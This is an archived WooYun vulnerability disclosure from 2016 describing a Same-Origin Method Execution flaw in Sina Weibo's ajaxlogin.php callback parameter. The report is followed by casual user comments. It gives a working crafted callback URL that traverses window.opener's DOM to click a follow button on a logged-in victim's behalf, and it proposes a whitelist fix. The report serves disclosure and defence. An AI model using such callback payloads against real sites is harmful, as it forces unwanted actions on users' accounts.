微博一个some攻击的漏洞/只需点我的链接就可实现关注我等操作

编号215221
Urlhttp://www.wooyun.org/bug.php?action=view&id=215221
漏洞状态厂商已经确认
漏洞标题微博一个some攻击的漏洞/只需点我的链接就可实现关注我等操作
漏洞类型设计缺陷/逻辑错误
厂商新浪微博
白帽子呆子不开口
提交日期2016-06-01 20:20:00
公开日期2016-07-18 16:40:00
修复时间(not set)
确认时间2016-06-03 00:00:00
Confirm Spend2
漏洞标签
关注数0
收藏数0
白帽评级
白帽自评rank15
厂商评级
厂商评rank8
漏洞简介
微博一个some攻击的漏洞,只需点我的链接就可实现关注我等操作。漏洞资料可参考 http://www.benhayak.com/2015/06/same-origin-method-execution-some.html。我的例子在chrome下只要访问我的页面就中招,不用再点一次去绕过chrome的popup blocker
漏洞细节

微博一个some攻击的漏洞,只需点我的链接就可实现关注我微博账号等操作
漏洞资料可参考 http://www.benhayak.com/2015/06/same-origin-method-execution-some.html。我的例子在chrome下只要访问我的页面就中招,不用再点一次去绕过chrome的popup blocker
漏洞的url为
http://weibo.com/ajaxlogin.php?framelogin=1&callback=window.opener.method
callback参数虽然做了很多非法字符的限制,无法形成xss漏洞。但可以自定义字母和点符号
所以我可以使用同源方法调用的方式来执行Weibo.com域页面里的敏感操作,比如实现用户的关注按钮的点击
所以先打开一个页面,这是我的微博页面A
http://weibo.com/277634777
再打开我们的漏洞页面B
http://weibo.com/ajaxlogin.php?framelogin=1&callback=window.opener.document.body.firstElementChild.firstElementChild.firstElementChild.nextElementSibling.firstElementChild.firstElementChild.firstElementChild.firstElementChild.firstElementChild.firstElementChild.nextElementSibling.firstElementChild.nextElementSibling.nextElementSibling.nextElementSibling.firstElementChild.firstElementChild.firstElementChild.click
微博的登陆用户访问我构造的页面的话,就相当于利用页面B去点击了页面A中的关注按钮。就实现了对我的关注
我的例子在chrome下只要访问我的页面就中招,不用再点一次去绕过chrome的popup blocker
具体实现方式这里就先不写了……
可以见下面视频,在我访问了那个链接后,我就关注了一个陌生网友

POC

修复方案

做些白名单限制,或者写死函数

状态信息 2016-06-01: 细节已通知厂商并且等待厂商处理中
2016-06-03: 厂商已经确认,细节仅向厂商公开
2016-06-13: 细节向核心白帽子及相关领域专家公开
2016-06-23: 细节向普通白帽子公开
2016-07-03: 细节向实习白帽子公开
2016-07-18: 细节向公众公开
厂商回复感谢关注新浪安全,问题修复中。
回应信息危害等级:中漏洞Rank:8 确认时间:2016-06-03 16:38
Showing 1-16 of 16 items.
评论内容评论人点赞数评论时间

@niexinming 没想到还真有人去看我们的博客。哈哈哈

安全狗02016-06-02 11:25:00

@安全狗 赞

niexinming02016-06-02 10:35:00

一言不合就发链接

loli02016-06-02 09:47:00

@安全狗 赞

呆子不开口02016-06-02 09:38:00

@呆子不开口 补充:之前翻译实践的时候,有个点没有说清楚,也就是同源下的一个callback函数名可控的同时,还要求callback函数能被JavaScript执行(比如在script标签中或者在flash中能被执行)。 23333333333333333

安全狗02016-06-02 09:15:00

对方不想跟你说话并丢了一个链接给你。

孤梦°02016-06-02 00:47:00

@niexinming 国内翻译的有点问题,光jsonp接口是不可以的

呆子不开口02016-06-02 00:34:00

一言不合就发链接

diguoji02016-06-01 22:41:00

难道这次不是点我就上了我吗?

偶然02016-06-01 22:29:00

伟哥艹我

Go7hic02016-06-01 22:03:00

http://blog.safedog.cn/?p=13这个讲的很不错

niexinming02016-06-01 22:01:00

6

大师兄02016-06-01 21:27:00

对方不想跟你说话并丢了一个链接给你。

随风的风02016-06-01 21:12:00

快发给我 我要点

田老板02016-06-01 21:08:00

前排膜拜呆子大牛,我要听段子

山鹰02016-06-01 20:26:00

刚在微博上看到

从容02016-06-01 20:22:00